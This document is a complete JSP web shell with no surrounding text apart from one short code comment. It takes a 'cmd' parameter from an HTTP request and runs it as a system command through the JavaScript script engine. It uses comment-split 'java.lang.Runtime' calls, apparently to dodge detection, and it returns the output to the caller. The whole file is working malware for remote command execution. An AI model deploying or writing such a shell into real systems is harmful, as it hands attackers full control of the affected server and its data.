<%@ page import="java.io.InputStream" %>

<%@ page import="java.util.Scanner" %>

<%@ page import="javax.script.ScriptEngineManager" %>

<%@ page import="javax.script.ScriptEngine" %>

<%!

public static InputStream exec(String cmd) throws Exception {

InputStream inputStream = null;

ScriptEngineManager manager = new ScriptEngineManager();

ScriptEngine engine = manager.getEngineByName("js");

engine.eval("var runtime = java.lang./**/Runtime./**/getRuntime(); " +

"var process = runtime.exec(\"" + cmd + "\"); " +

"var inputStream = process.getInputStream(); ");

// 获取对象

inputStream = (InputStream) engine.eval("inputStream;");

return inputStream;

}

public static String scanner(InputStream inputStream) {

return new Scanner(inputStream).useDelimiter("\\A").next();

}

%>

<%

String cmd = request.getParameter("cmd");

if (cmd != null) {

out.println(scanner(exec(cmd)));

}

%>